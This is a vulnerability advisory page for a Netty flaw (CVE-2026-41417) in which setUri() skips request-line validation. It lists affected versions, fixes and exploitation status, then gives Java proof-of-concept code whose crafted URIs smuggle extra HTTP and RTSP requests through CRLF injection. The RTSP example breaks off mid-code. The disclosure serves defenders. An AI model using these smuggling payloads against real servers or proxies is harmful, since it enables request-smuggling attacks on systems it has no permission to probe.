Skip to main content
CVE-2026-41417VulnerabilityPublished Updated

DefaultHttpRequest.setUri() · Netty: Start-Line Injection

Affects io.netty:netty-codec-httpSource GCVE Database

0
Authoritative record:CVE-2026-41417· Medium 5.3

Not known to be exploited · CVSS 5.3 Medium : upgrade to 4.1.133.Final when convenient.

Data as of 27 Oct 2026, 00:07 UTC

CVSS 3.1 base score
5.3Medium
How severe the flaw is on the 0–10 CVSS scale.
Patch
Available – fixed in 4.1.133.Final, 4.2.13.Final
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 6 May 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponised: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

What to do

Upgrade io.netty:netty-codec-http to 4.1.133.Final; io.netty:netty-codec-http to 4.2.13.Final.

Affected software

ProductAffectedFixed in
Mavenio.netty:netty-codec-httpAffected
  • <4.1.133.Final
Fixed in
  • 4.1.133.Final
Mavenio.netty:netty-codec-httpAffected
  • >=4.2.0.Alpha1 <4.2.13.Final
Fixed in
  • 4.2.13.Final

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary Netty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`. The constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests. In practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side. ### Details The root issue is that URI validation exists only on the constructor path, but not on the public setter path. - `io.netty.handler.codec.http.DefaultHttpRequest` - The constructor calls `HttpUtil.validateRequestLineTokens(method, uri)` - `setUri(String uri)` only performs `checkNotNull` and does not validate - `io.netty.handler.codec.http.DefaultFullHttpRequest` - `setUri(String uri)` delegates to the parent implementation - `io.netty.handler.codec.http.HttpRequestEncoder` - Writes `request.uri()` directly into the request line - `io.netty.handler.codec.rtsp.RtspEncoder` - Writes `request.uri()` directly into the request line This creates the following bypass: 1. An application creates a `DefaultHttpRequest` or `DefaultFullHttpRequest` with a safe URI 2. Later, attacker-influenced input is passed into `setUri()` 3. `HttpRequestEncoder` or `RtspEncoder` encodes that value verbatim 4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests This appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API. ### PoC (HTTP) The following code first creates a normal request object and then injects a malicious request line using `setUri()`. ```java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.DefaultHttpRequest; import io.netty.handler.codec.http.HttpMethod; import io.netty.handler.codec.http.HttpRequestEncoder; import io.netty.handler.codec.http.HttpServerCodec; import io.netty.handler.codec.http.HttpVersion; import io.netty.util.CharsetUtil; public final class HttpSetUriSmugglePoc { public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder()); EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec()); DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.GET, "/safe"); request.setUri("/s1 HTTP/1.1\r\n" + "\r\n" + "POST /s2 HTTP/1.1\r\n" + "content-length: 11\r\n\r\n" + "Hello World" + "GET /s1"); client.writeOutbound(request); ByteBuf outbound = client.readOutbound(); System.out.println("=== Raw encoded request ==="); System.out.println(outbound.toString(CharsetUtil.US_ASCII)); System.out.println("=== Decoded by HttpServerCodec ==="); server.writeInbound(outbound.retainedDuplicate()); Object msg; while ((msg = server.readInbound()) != null) { System.out.println(msg); } outbound.release(); client.finishAndReleaseAll(); server.finishAndReleaseAll(); } } ``` When reproduced, the raw encoded request looks like this: ```http GET /s1 HTTP/1.1 POST /s2 HTTP/1.1 content-length: 11 Hello WorldGET /s1 HTTP/1.1 ``` `HttpServerCodec` then parses this as multiple HTTP messages rather than a single request: - `GET /s1` - `POST /s2` with body `Hello World` - trailing `GET /s1` This confirms that the value supplied through `setUri()` is interpreted on the wire as additional requests. ### PoC (RTSP) The same root cause also affects `RtspEncoder`. A minimal reproduction is shown below. ```java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.DefaultHttpRequest; import io.netty.handler.codec.rtsp.RtspDecoder; import io.netty.handler.codec.rtsp.RtspEncoder; import io.netty.handler.codec.rtsp.RtspMethods; import io.netty.handler.codec.rtsp.RtspVersions; import io.netty.util.CharsetUtil; public final class RtspSetUriSmugglePoc { public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder()); EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder()); DefaultHttpRequest request = new DefaultHttpRequest( RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, "rtsp://safe/media"); request.setUri("rtsp://cam/stream RTSP/1.0\r\n" + "CSeq: 1\r\n\r\n" + "DESCRIBE rtsp://cam/secret RTSP/1.0\r\n" + "CSeq: 2\r\n\r\n" +

References

Community reviews

Loading reviews…